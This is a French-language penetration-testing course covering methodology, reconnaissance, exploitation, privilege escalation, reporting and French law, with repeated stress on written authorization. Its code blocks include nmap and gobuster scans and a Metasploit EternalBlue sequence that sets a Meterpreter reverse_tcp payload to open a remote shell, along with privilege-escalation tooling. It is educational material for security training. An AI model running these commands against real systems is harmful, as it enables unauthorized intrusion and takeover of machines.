

// SOMMAIRE

Table des matières

01	Introduction au pentest	Définitions, objectifs, types de tests	p.02
02	Méthodologie offensive	Les 5 phases d'un test d'intrusion	p.03
03	Reconnaissance & Scanning	OSINT, énumération, Nmap	p.04
04	Exploitation	OWASP Top 10, Metasploit, Burp Suite	p.05
05	Post-exploitation & Élévation	Privesc, pivoting, persistance	p.06
06	Reporting & cadre légal	Rapport, CVSS, contrat, éthique	p.07
07	Ressources & certifications	OSCP, plateformes, pour aller plus loin	p.08

Qu'est-ce que le pentest ?

Le **test d'intrusion** (ou *pentest*, de l'anglais *penetration testing*) consiste à simuler une cyberattaque réelle et autorisée contre un système d'information — réseau, application web, infrastructure cloud ou objet connecté — afin d'en identifier les vulnérabilités **avant qu'un attaquant malveillant ne les exploite**. Contrairement à un simple audit ou scan automatisé, le pentest reproduit les techniques, tactiques et procédures (TTP) réellement utilisées par les attaquants.

Objectifs principaux

- Identifier les failles techniques et organisationnelles
- Évaluer l'impact réel d'une compromission
- Tester la détection & réponse de l'équipe défense (Blue Team)
- Prioriser les correctifs selon le risque réel
- Répondre à des exigences de conformité (ISO 27001, PCI-DSS, RGPD...)

Types de tests

Type	Connaissance
Boîte noire	Aucune information préalable, comme un attaquant externe
Boîte grise	Accès partiel (compte utilisateur, documentation limitée)
Boîte blanche	Accès complet : code source, architecture, credentials

À retenir — Un pentest n'est légal que dans le cadre d'une **autorisation écrite** (Rules of Engagement / Get Out of Jail Free Letter). Sans cela, les mêmes actions constituent un accès frauduleux à un système de traitement de données, puni par la loi.

// MODULE 01

Méthodologie d'un test d'intrusion

Un pentest professionnel suit un cadre structuré afin d'être **reproductible, exhaustif et défendable** devant un client. Les référentiels les plus utilisés sont le [PTES](#) (Penetration Testing Execution Standard), l'[OWASP Testing Guide](#) et le [NIST SP 800-115](#). Tous s'articulent globalement autour des mêmes cinq grandes phases.



Le contrat cadre : Rules of Engagement (RoE)

Avant toute action technique, le pentester et le client signent un document définissant précisément le **périmètre** (scope), les **fenêtres de test** autorisées, les techniques exclues (ex. déni de service), les contacts d'urgence et les modalités de restitution. C'est ce document — pas la simple bonne volonté — qui rend le test légal.

● éléments d'un scope

- ▶ Plages IP / domaines autorisés
- ▶ Applications et environnements (prod, staging)
- ▶ Dates et horaires du test
- ▶ Techniques interdites (DoS, ingénierie sociale...)
- ▶ Procédure en cas de découverte critique

● livrables attendus

- ▶ Rapport technique détaillé (preuves, CVSS)
- ▶ Synthèse exécutive (non-technique)
- ▶ Plan de remédiation priorisé
- ▶ Restitution orale / debrief avec les équipes
- ▶ Rapport de retest post-correctifs

« Le pentest n'a de valeur que si les vulnérabilités trouvées sont réellement corrigées — sinon, ce n'est qu'un rapport de plus dans un tiroir. »

// MODULE 02

Reconnaissance & Scanning

Reconnaissance passive (OSINT)

Cette phase collecte des informations **sans interagir directement** avec la cible, réduisant le risque de détection. Elle exploite des sources publiques : WHOIS, DNS, réseaux sociaux, dépôts de code, fuites de données.

Outil	Usage
theHarvester	Collecte d'e-mails, sous-domaines et employés via moteurs de recherche
Shodan / Censys	Moteurs de recherche d'appareils et services exposés sur Internet
Google Dorking	Requêtes avancées (site:, filetype:, intitle:) pour indexer des données sensibles
crt.sh	Énumération de sous-domaines via les certificats SSL/TLS publics
LinkedIn / GitHub	Cartographie organisationnelle et fuites de secrets dans le code

Reconnaissance active & Scanning

Ici, le pentester interagit directement avec la cible pour découvrir hôtes actifs, ports ouverts, services et versions — la base de toute analyse de vulnérabilités.

```
# Découverte d'hôtes actifs sur le sous-réseau
$ nmap -sn 192.168.1.0/24
# Scan de ports complet + détection de version et d'OS
$ nmap -sC -sV -O -p- -T4 192.168.1.15
# Scripts NSE pour la détection de vulnérabilités connues
$ nmap --script vuln 192.168.1.15
# Énumération des répertoires web
$ gobuster dir -u http://cible.local -w wordlist.txt -x php,html
```

Autres outils clés

- **Nikto** — scanner de vulnérabilités web basiques
- **Nessus / OpenVAS** — scanners de vulnérabilités automatisés
- **Amass** — cartographie de surface d'attaque et sous-domaines
- **WhatWeb** — fingerprinting de technologies web (CMS, frameworks)

Attention — Un scan agressif (-T5, scan de ports complet non autorisé) peut saturer des équipements réseau fragiles ou déclencher des alertes de sécurité. Toujours respecter la fenêtre et l'intensité définies dans le RoE.

// MODULE 03

Exploitation des vulnérabilités

La phase d'exploitation transforme une vulnérabilité identifiée en **preuve d'impact concrète** (Proof of Concept) : accès non autorisé, exécution de code, fuite de données. Elle doit rester maîtrisée et proportionnée au besoin de démonstration.

OWASP Top 10 (2021) — applications web

#	Catégorie	Criticité type
A01	Broken Access Control (contrôle d'accès défaillant)	CRITIQUE
A02	Cryptographic Failures (chiffrement défaillant)	ÉLEVÉE
A03	Injection (SQLi, NoSQLi, commandes OS)	CRITIQUE
A04	Insecure Design (défaut de conception)	ÉLEVÉE
A05	Security Misconfiguration	MOYENNE
A07	Identification & Authentication Failures	ÉLEVÉE
A08	Software & Data Integrity Failures	MOYENNE

Cadre applicatif – Burp Suite

- **Proxy** — interception et modification des requêtes HTTP/S
- **Repeater** — rejeu manuel de requêtes modifiées
- **Intruder** — fuzzing automatisé de paramètres
- **Scanner** (Pro) — détection semi-automatisée de failles

Framework – Metasploit

Metasploit centralise des milliers d'exploits prêts à l'emploi, des *payloads* (ex. Meterpreter) et des modules auxiliaires, orchestrés via sa console `msfconsole`.



```
# Utilisation basique de Metasploit
msf6 > search type:exploit smb ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.15
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.5
msf6 > run
[*] Meterpreter session 1 opened...
```

Bonne pratique — Toujours privilégier un *Proof of Concept* minimal et documenté (capture d'écran, requête exacte) plutôt qu'une exploitation destructrice. L'objectif est de prouver le risque, pas de causer un dommage réel.

// MODULE 04

Post-exploitation & élévation de privilèges

Une fois un accès initial obtenu, l'objectif est d'évaluer **jusqu'où un attaquant pourrait aller** : privilèges administrateur, mouvement vers d'autres machines, accès à des données critiques.

Élévation de privilèges (Privilege Escalation)

Linux

- Binaires SUID/SGID mal configurés
- Tâches cron exécutées par root, scripts modifiables
- Mauvaise configuration sudo -l
- Noyau vulnérable non patché

```
$ ./linpeas.sh
[+] SUID binaries found...
```

Windows

- Services avec permissions faibles (unquoted service path)
- Jetons d'accès (token impersonation)
- Mots de passe en clair dans des scripts/registre
- Politiques GPO mal appliquées

```
PS> .\winPEASx64.exe
[+] AlwaysInstallElevated: enabled
```

Mouvement latéral & environnement Active Directory

Dans un environnement d'entreprise, l'attaquant cherche ensuite à **pivoter** vers d'autres systèmes jusqu'à atteindre les ressources critiques (contrôleur de domaine, serveurs de données).

Outil	Fonction
BloodHound	Cartographie graphique des chemins d'attaque dans Active Directory
Mimikatz	Extraction de identifiants en mémoire (hash NTLM, tickets Kerberos)
CrackMapExec	Énumération et exploitation à grande échelle sur AD/SMB
Chisel / ligolo-ng	Pivoting réseau via tunneling SSH/SOCKS

Persistence (simulation encadrée)

Pour évaluer la résilience des défenses (Blue Team), le pentester peut simuler des mécanismes de persistance : tâches planifiées, clés de démarrage, comptes de service — **toujours documentés et supprimés en fin de mission.**

Cadre strict — Toute action de post-exploitation doit rester dans le scope validé. L'exfiltration de données réelles, la modification de systèmes de production ou la création de portes dérobées non nettoyées sont proscrites sans accord explicite.

// MODULE 05

Reporting, remédiation & cadre légal

Un pentest sans rapport exploitable n'a aucune valeur opérationnelle. Le rapport est le **livrable central** transmis au client.

Structure type d'un rapport

- ▶ Synthèse exécutive (non-technique, orientée risque métier)
- ▶ Méthodologie et périmètre testé
- ▶ Liste des vulnérabilités, triées par criticité
- ▶ Preuves techniques (requêtes, captures, logs)
- ▶ Recommandations de remédiation prioritaires
- ▶ Annexes techniques détaillées

Score CVSS – exemple de lecture

Score	Niveau
9.0 – 10.0	CRITIQUE
7.0 – 8.9	ÉLEVÉ
4.0 – 6.9	MOYEN
0.1 – 3.9	FAIBLE

Le score s'appuie sur des vecteurs standardisés : vecteur d'attaque, complexité, privilèges requis, impact sur confidentialité/intégrité/disponibilité.

Cadre légal et éthique

● principes non négociables

- ▶ **Autorisation écrite préalable** systématique et signée
- ▶ Respect strict du périmètre (scope) défini
- ▶ Confidentialité des données et résultats obtenus
- ▶ Signalement immédiat des failles critiques découvertes
- ▶ Aucune divulgation publique sans accord du client
- ▶ Nettoyage complet des artefacts en fin de mission

En France, l'accès ou le maintien frauduleux dans un système de traitement automatisé de données est encadré par les **articles 323-1 à 323-8 du Code pénal**. Un test sans autorisation, même « bien intentionné », est passible de poursuites — d'où l'importance capitale du contrat et du RoE évoqués en page 3.

Bug Bounty — Les programmes comme HackerOne ou Yes We Hack constituent un cadre légal alternatif : chaque programme définit ses propres règles d'engagement publiques, permettant de tester des systèmes réels de façon autorisée et rémunérée.

// MODULE 06

Ressources & pour aller plus loin

Certifications reconnues

Certification	Organisme	Niveau
eJPT	INE	Débutant
PNPT	TCM Security	Débutant / Intermédiaire
OSCP	OffSec	Intermédiaire — référence du secteur
CEH	EC-Council	Intermédiaire, orientée théorique
OSCE ³ / OSEP	OffSec	Avancé

Plateformes d'entraînement

- **Hack The Box** — machines et labs réalistes
- **TryHackMe** — parcours guidés pour débutants
- **PortSwigger Academy** — labs web gratuits
- **PentesterLab** — exercices ciblés par vulnérabilité

Distributions & environnements

- **Kali Linux** — distribution de référence
- **Parrot OS** — alternative légère
- **VulnHub** — VM vulnérables à télécharger
- **DVWA / Juice Shop** — apps volontairement vulnérables

Communautés & veille

- OWASP France & chapitres locaux
- CTF : CTFtime.org pour trouver des compétitions
- Blogs : PortSwigger Research, HackTricks
- Bulletins CERT-FR pour les alertes officielles

En résumé

01 Reconnaissance passive puis active

02 Scanning & énumération des services

03 Exploitation maîtrisée et documentée

04 Post-exploitation dans le périmètre autorisé

05 Rapport clair et remédiation priorisée

06 Toujours dans un cadre légal & éthique

🟢 conclusion

Le pentest est avant tout une discipline de **méthode et de responsabilité** : la maîtrise technique ne vaut que si elle s'exerce dans un cadre autorisé, documenté et orienté vers l'amélioration réelle de la sécurité. La pratique régulière sur des labs légaux (HTB, TryHackMe, CTF) reste le meilleur moyen de progresser avant de se lancer sur des missions réelles.

--- end_of_course.log ---

[HAPPY (ETHICAL) HACKING]